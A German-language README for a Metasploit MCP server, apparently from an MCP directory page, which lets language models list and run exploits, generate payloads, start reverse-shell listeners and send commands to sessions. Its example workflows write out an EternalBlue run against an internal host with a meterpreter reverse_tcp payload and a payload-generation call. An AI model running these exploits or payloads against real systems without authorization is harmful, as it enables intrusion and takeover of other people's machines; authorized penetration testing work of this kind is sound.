Skip to main content
Glama

Metasploit MCP Server

by GH05TCREW

Metasploit MCP-Server

Ein Model Context Protocol (MCP)-Server für die Metasploit Framework-Integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Beschreibung

Dieser MCP-Server bildet eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstestplattform Metasploit Framework. Er ermöglicht KI-Assistenten den dynamischen Zugriff und die Steuerung von Metasploit-Funktionen über standardisierte Tools und ermöglicht so eine natürlichsprachliche Schnittstelle zu komplexen Sicherheitstest-Workflows.

Merkmale

Modulinformationen

  • list_exploits : Suchen und Auflisten verfügbarer Metasploit-Exploit-Module
  • list_payloads : Suchen und Auflisten verfügbarer Metasploit-Payload-Module mit optionaler Plattform- und Architekturfilterung

Ausnutzungs-Workflow

  • run_exploit : Konfigurieren und Ausführen eines Exploits gegen ein Ziel mit der Option, zuerst Prüfungen durchzuführen
  • run_auxiliary_module : Führen Sie ein beliebiges Metasploit-Hilfsmodul mit benutzerdefinierten Optionen aus
  • run_post_module : Führen Sie Post-Exploitation-Module für vorhandene Sitzungen aus

Payload-Generierung

  • generate_payload : Generiert Payload-Dateien mit Metasploit RPC (speichert Dateien lokal)

Sitzungsverwaltung

  • list_active_sessions : Zeigt aktuelle Metasploit-Sitzungen mit detaillierten Informationen an
  • send_session_command : Führen Sie einen Befehl in einer aktiven Shell oder Meterpreter-Sitzung aus
  • terminate_session : Beenden Sie eine aktive Sitzung zwangsweise

Handler-Verwaltung

  • list_listeners : Alle aktiven Handler und Hintergrundjobs anzeigen
  • start_listener : Erstellen Sie einen neuen Multi/Handler zum Empfangen von Verbindungen
  • stop_job : Beenden Sie alle laufenden Jobs oder Handler

Voraussetzungen

  • Metasploit Framework installiert und msfrpcd ausgeführt
  • Python 3.10 oder höher
  • Erforderliche Python-Pakete (siehe requirements.txt)

Installation

  1. Dieses Repository klonen
  2. Installieren Sie Abhängigkeiten:
    pip install -r requirements.txt
  3. Umgebungsvariablen konfigurieren (optional):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Verwendung

Starten Sie den Metasploit RPC-Dienst:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transportmöglichkeiten

Der Server unterstützt zwei Transportmethoden:

  • HTTP/SSE (Server-Sent Events) : Standardmodus für die Interoperabilität mit den meisten MCP-Clients
  • STDIO (Standard Input/Output) : Wird mit Claude Desktop und ähnlichen direkten Pipe-Verbindungen verwendet

Sie können den Transportmodus explizit mit dem Flag --transport auswählen:

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Zusätzliche Optionen für den HTTP-Modus:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

Konfigurieren Sie für die Claude Desktop-Integration claude_desktop_config.json :

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Andere MCP-Clients

Für andere MCP-Clients, die HTTP/SSE verwenden:

  1. Starten Sie den Server im HTTP-Modus:
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:
    • SSE-Endpunkt: http://your-server-ip:8085/sse

Sicherheitsüberlegungen

⚠️ WICHTIGER SICHERHEITSHINWEIS :

Dieses Tool bietet direkten Zugriff auf die Funktionen des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsbewusst und nur in Umgebungen, in denen Sie die ausdrückliche Berechtigung zur Durchführung von Sicherheitstests haben.

  • Überprüfen Sie alle Befehle vor der Ausführung.
  • Nur in getrennten Testumgebungen oder mit entsprechender Autorisierung ausführen
  • Beachten Sie, dass Post-Exploitation-Befehle zu erheblichen Systemänderungen führen können

Beispiel-Workflows

Grundlegende Ausbeutung

  1. Liste der verfügbaren Exploits: list_exploits("ms17_010")
  2. Wählen Sie einen Exploit aus und führen Sie ihn aus: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Sitzungen auflisten: list_active_sessions()
  4. Befehle ausführen: send_session_command(1, "whoami")

Nach der Ausbeutung

  1. Führen Sie ein Postmodul aus: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Senden Sie benutzerdefinierte Befehle: send_session_command(1, "sysinfo")
  3. Beenden, wenn fertig: terminate_session(1)

Handler-Verwaltung

  1. Starten Sie einen Listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Aktive Handler auflisten: list_listeners()
  3. Generieren Sie eine Nutzlast: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stoppen Sie einen Handler: stop_job(1)

Konfigurationsoptionen

Payload-Speicherverzeichnis

Standardmäßig werden mit generate_payload generierte Payloads in einem payloads -Verzeichnis in Ihrem Home-Ordner ( ~/payloads oder C:\Users\YourUsername\payloads ) gespeichert. Sie können diesen Speicherort anpassen, indem Sie die Umgebungsvariable PAYLOAD_SAVE_DIR festlegen.

Festlegen der Umgebungsvariable:

  • Windows (PowerShell) :
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Eingabeaufforderung) :
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • In der Claude Desktop-Konfiguration :
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass dieser vorhanden ist oder die Anwendung über die Berechtigung zum Erstellen verfügt. Bei einem ungültigen Pfad kann die Payload-Generierung fehlschlagen.

Lizenz

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

hybrid server

The server is able to function both locally and remotely, depending on the configuration or use case.

Stellt eine Brücke zwischen großen Sprachmodellen und dem Metasploit Framework her und ermöglicht KI-Assistenten den Zugriff auf Penetrationstestfunktionen und deren Steuerung über natürliche Sprache.

  1. Beschreibung
    1. Merkmale
      1. Modulinformationen
      2. Ausnutzungs-Workflow
      3. Payload-Generierung
      4. Sitzungsverwaltung
      5. Handler-Verwaltung
    2. Voraussetzungen
      1. Installation
        1. Verwendung
          1. Transportmöglichkeiten
          2. Claude Desktop Integration
          3. Andere MCP-Clients
        2. Sicherheitsüberlegungen
          1. Beispiel-Workflows
            1. Grundlegende Ausbeutung
            2. Nach der Ausbeutung
            3. Handler-Verwaltung
          2. Konfigurationsoptionen
            1. Payload-Speicherverzeichnis
          3. Lizenz

            Related MCP Servers

            • -
              security
              F
              license
              -
              quality
              A demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.
              Last updated -
              11
              Python
              • Apple
            • -
              security
              F
              license
              -
              quality
              Enables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.
              Last updated -
              JavaScript
              • Apple
            • A
              security
              F
              license
              A
              quality
              A Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.
              Last updated -
              2
              10
              Python
            • -
              security
              -
              license
              -
              quality
              A module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.
              Last updated -
              Python
              GPL 3.0

            View all related MCP servers

            MCP directory API

            We provide all the information about MCP servers via our MCP API.

            curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

            If you have feedback or need assistance with the MCP directory API, please join our Discord server